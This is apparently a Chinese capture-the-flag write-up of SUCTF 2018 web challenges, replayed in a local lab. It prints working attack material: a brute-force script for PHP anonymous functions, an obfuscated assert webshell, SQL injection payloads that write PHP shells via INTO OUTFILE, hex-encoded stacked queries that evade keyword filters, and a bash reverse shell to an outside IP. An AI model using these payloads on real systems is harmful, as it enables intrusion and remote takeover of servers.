2018-SUCTF

May 28, 2018 09:54 · 385 words · 2 minute read ctf

赛后复现,趁机学一手docker。

题目镜像链接

suctf/2018-web-multi_sql 
suctf/2018-web-homework
suctf/2018-web-hateit 
suctf/2018-web-getshell
suctf/2018-web-annonymous 
suctf/2018-pwn-note 
suctf/2018-pwn-noend 
suctf/2018-pwn-lock2 
suctf/2018-pwn-heapprint 
suctf/2018-pwn-heap 
suctf/2018-misc-padding
suctf/2018-misc-game 
suctf/2018-misc-rsagood
suctf/2018-misc-rsa 
suctf/2018-misc-enjoy 
suctf/2018-misc-pass 
下面的exp中,许多地址使用的是出题人的本地环境,因此测试时请注意

Anonymous

给出源码

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

第二行的createfunction函数是创建一个匿名函数,但是匿名函数也有名字。名字是\x00lambda(随机数)

<?php

$MY = create_function("","die(`cat flag.php`);");

var_dump($MY);
//输出string(9) "lambda_7",后面的数字是随机变的。

于是爆破就可以了

import requests
import base64

for x in range(0,5000):
    url= "http://192.168.10.179:2018/index.php?func_name=\x00lambda_%d"%(x)
    r = requests.get(url)
    # print(r.status_code)
    if(r.status_code == 200):
        print(x)
        print(url)
        print(r.text);

Getshell

过滤代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
}

测试可得可用字符为$().;=[]_~

获取可用字符

贴上P牛的一篇文章

文章里介绍的第二种方法,利用取反来获取可用字符。

小例子
$a = ~垂;
echo $a."<br>";   //输出a}
echo $a[1];  //输出a

第一次知道在php里也可以使用数组的方法从字符串中取出字符。羞愧….

关于asser函数特意又写了一篇笔记,(废了一下午时间和玄学玩耍。)

写shell

找汉字(这里有一个插曲,在使用mb_substr函数的时候,需要在php.ini中修改一个配置项,但是我修改了依旧没有用。。于是在centos上使用,在centos上则是需要安装php-mbstring模块。)

<?php
$str = "一篇文章的内容即可,字数多一点";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');

for($i=0; $i<$num;$i++){
 $worl = mb_substr($str,$i,1,'utf-8');
 $ans = ~$worl;
 if($ans[1]=='a' || $ans[1]=='s'|| $ans[1]=='e' || $ans[1]=='r' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T'){
  echo $ans[1];
  echo $worl;
  echo "<br>";
}
}
?>

webshell如下

<?php
@$_ = [];
@$__ = ($_==$_);  //做索引
// echo $__; //1


@$___ = ~鞋[$__].~包[$__].~包[$__].~的[$__].~捂[$__].~狂[$__];
echo $___;
@$____ = ~树[$__].~说[$__].~小[$__].~次[$__].~站[$__];
echo "<br>";
echo $____;
$_=$$____;

$___($_[_]);  //assert($_POST[_])

?>

MultiSql

bendawang师傅的解法觉得很6.

核心利用点:利用二次注入写shell。

1.先注册一个1’ into outfile ‘/var/www/html/favicon/1.php’#的用户名。 2.然后使用这个用户名去登陆(一定要重新登录,不然session保存的是经过转义的用户名,sql语句无法执行) 3.访问我们写入的php文件。 http://192.168.10.111:2018/favicon/1.php

5	1	c4ca4238a0b923820dcc509a6f75849b	\N	2018-06-04

我们可以看到用户名和密码写入了文件,用户名是可控的,所以可以将用户名写成shell。

4.注册一个用户名为<?php eval('$_GET[a]');?>的用户。 5.在注册一个<?php eval('$_GET[a]');?>' into outfile '/var/www/html/favicon/shell.php'#的用户。 6.然后再登录一下<?php eval('$_GET[a]');?>' into outfile '/var/www/html/favicon/shell.php'#用户。这样shell就写进去了。

但是数据库的username有长度限制,所以要缩短用户名

<?php `$_GET[a]`;?>'into outfile'/var/www/html/favicon/1.php'

然后反弹shell

http://192.168.10.111:2018/favicon/6.php?a=bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp/150.95.174.245/8888 0%3C%261%202%3E%261%22

预期解

bendawang师傅的解法是非预期,预期是利用mysqli_multi_query()函数,执行多条sql语句,写shell。

sql注入读源码

这里学习到了一种新的sql注入的手法多语句注入

  • set
  • prepare
  • execute

set

MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> select @a;
+------------------+
| @a               |
+------------------+
| select version() |
+------------------+

set 的作用就是定义一个变量,变量的命名必须是@开头。

prepare和execute

prepare语句用于预定义一个语句,并可以指定预定义语句名称。execute则是执行预定义语句。

prepare prepare_name from “sql语句”

execute prepare_name

示例

MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [(none)]> execute t;
+-------------------+
| version()         |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
1 row in set (0.00 sec)

结合起来利用就是

MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [(none)]> execute t;
+-------------------+
| version()         |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
1 row in set (0.00 sec)


划重点

看到set+prepare+execute可能觉得就是简化sql语句而已,并没有什么特殊的地方。

这里可以再结合上16进制的特点。这样就可以绕过对一些关键字(select,from之类的)的过滤。

示例


MariaDB [(none)]> set @a=0x73656c6563742076657273696f6e2829;
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> prepare y from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [(none)]> execute y;
+-------------------+
| version()         |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+

select version()16进制编码后为0x73656c6563742076657273696f6e2829,这样我们就可以绕过对select之类关键字的绕过。

附上链接

tweet Share